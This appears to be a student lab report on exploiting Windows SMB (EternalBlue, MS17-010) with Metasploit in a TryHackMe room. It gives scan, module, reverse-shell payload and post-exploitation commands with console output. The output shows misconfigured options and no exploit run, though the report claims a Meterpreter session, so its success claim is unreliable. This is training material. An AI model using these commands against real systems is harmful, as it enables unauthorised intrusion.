

EXPERIMENT – 9

Demonstration of Various Windows OS Exploits Using Metasploit Framework on TryHackMe Platform

Aim

To understand and demonstrate exploitation of Windows operating system vulnerabilities using the Metasploit Framework through hands-on exercises on the TryHackMe platform.

Tools / Platform Required

- Web Browser (Chrome / Firefox)
- Internet Connection
- TryHackMe Account (Already Created)
- TryHackMe AttackBox (Built-in Linux Environment)
- Metasploit Framework (Pre-installed in AttackBox)

Theory (Brief)

Metasploit Framework is a powerful penetration testing tool used to develop, test, and execute exploits against vulnerable systems. Windows operating systems often contain vulnerabilities due to misconfigurations, outdated services, or unpatched software. TryHackMe provides a safe and legal environment to practice Windows exploitation using Metasploit without impacting real-world systems.

Steps to Perform the Experiment

Step 1: Login to TryHackMe

1. Open browser and go to: <https://tryhackme.com>
2. Login using your registered credentials.

Step 2: Open Metasploit Windows Exploitation Room

1. In the search bar, type **Metasploit** or **Windows Exploitation**.
2. Select the appropriate TryHackMe room.
3. Click **Join Room**.

Step 3: Start the AttackBox

1. Click **Start AttackBox**.
2. Wait for the Linux environment to load.
3. Open the terminal inside AttackBox.

Step 4: Launch Metasploit Framework

1. Start Metasploit console:
2. msfconsole
3. Wait for Metasploit to initialize.

Step 5: Scan the Target System

1. Identify the target IP address provided by the TryHackMe room.
2. Perform basic scanning:
3. nmap <target-ip>

Step 6: Select Windows Exploit Module

1. Search for Windows exploits:
2. search windows
3. Select a suitable exploit module (example: SMB vulnerability):
4. use exploit/windows/smb/ms17_010_eternalblue

Step 7: Configure Exploit Parameters

1. Set target IP:
2. set RHOSTS <target-ip>
3. Set payload:
4. set PAYLOAD windows/meterpreter/reverse_tcp
5. Configure local host:
6. set LHOST <your-ip>

Step 8: Execute the Exploit

1. Run the exploit:
2. exploit
3. Gain Meterpreter session upon successful exploitation.

Step 9: Post-Exploitation Activities

1. Verify access:
2. sysinfo
3. Check privileges:
4. getuid
5. Perform basic enumeration as guided by the room tasks.

Step 10: Complete the Room

1. Capture required flags.
2. Ensure all tasks are marked **Completed**.

Output


```

msf > nmap 10.49.169.210
[*] exec: nmap 10.49.169.210

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-27 16:22 UTC
Nmap scan report for ip-10-49-169-210.ap-south-1.compute.internal (10.49.169.210)
Host is up (0.000013s latency).
Not shown: 993 closed tcp ports (reset)
PORT      STATE      SERVICE
22/tcp    open      ssh
53/tcp    open      domain
139/tcp   open      netbios-ssn
445/tcp   open      microsoft-ds
7777/tcp  filtered  cbt
7778/tcp  filtered  interwise
8443/tcp  open      https-alt

Nmap done: 1 IP address (1 host up) scanned in 1.35 seconds
msf >

```

```

root@ip-10-49-169-210: ~
File Edit View Search Terminal Help

6024  \_ target: Unix/Linux Command Shell

6025  \_ target: Windows Command Shell

6026  exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce 20
23-05-31      excellent Yes   Wordpress File Manager Advanced Shortcode
2.3.2 - Unauthenticated Remote Code Execution through shortcode
6027  \_ target: PHP

6028  \_ target: Unix Command

6029  \_ target: Linux Dropper

6030  \_ target: Windows Command

6031  \_ target: Windows Dropper

6032  exploit/multi/http/wp_litespeed_cookie_theft 20
24-09-04      excellent Yes   Wordpress LiteSpeed Cache plugin cookie t
heft

```

```

19-09-23      excellent Yes      vBulletin widgetConfig RCE
6174      \_ target: Meterpreter (PHP In-Memory)

6175      \_ target: Unix (CMD In-Memory)

6176      \_ target: windows (CMD In-Memory)

6177      exploit/multi/http/vtiger_soap_upload
20
13-03-26      excellent Yes      vTiger CRM SOAP AddEmailAttachment Arbitr
ary File Upload
6178      exploit/windows/fileformat/xradio_xrl_sehbof
20
11-02-08      normal      No      xRadio 0.95b Buffer Overflow

Interact with a module by name or index. For example info 6178, use 6178 o
r use exploit/windows/fileformat/xradio_xrl_sehbof

```

```

msf > use exploit/windows/smb/ms17_010_eternalblue

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_t
cp
msf exploit(windows/smb/ms17_010_eternalblue) >
msf exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms
17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) >

```

```
msf > use exploit/windows/smb/ms17_010_eternalblue

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) >
msf exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.49.169.210
RHOSTS => 10.49.169.210
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOSTS 192.168.1.1
[!] Unknown datastore option: LHOSTS. Did you mean RHOSTS?
LHOSTS => 192.168.1.1
msf exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443
LPORT => 443
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name           Current Setting  Required  Description
  ----           -
  RHOSTS          10.49.169.210   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
```

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS	10.49.169.210	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.49.169.210	yes	The listen address (an interface may be specified)
LPORT	443	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

Successful exploitation of Windows OS vulnerabilities.

Meterpreter session established.

Screenshots captured as evidence.

Result

Thus, various Windows operating system exploits were successfully demonstrated using the Metasploit Framework on the TryHackMe platform.

The experiment enhanced understanding of Windows vulnerabilities, exploitation techniques, and post-exploitation concepts.

Important Note

This experiment was conducted **strictly for educational and ethical purposes** using the TryHackMe learning platform.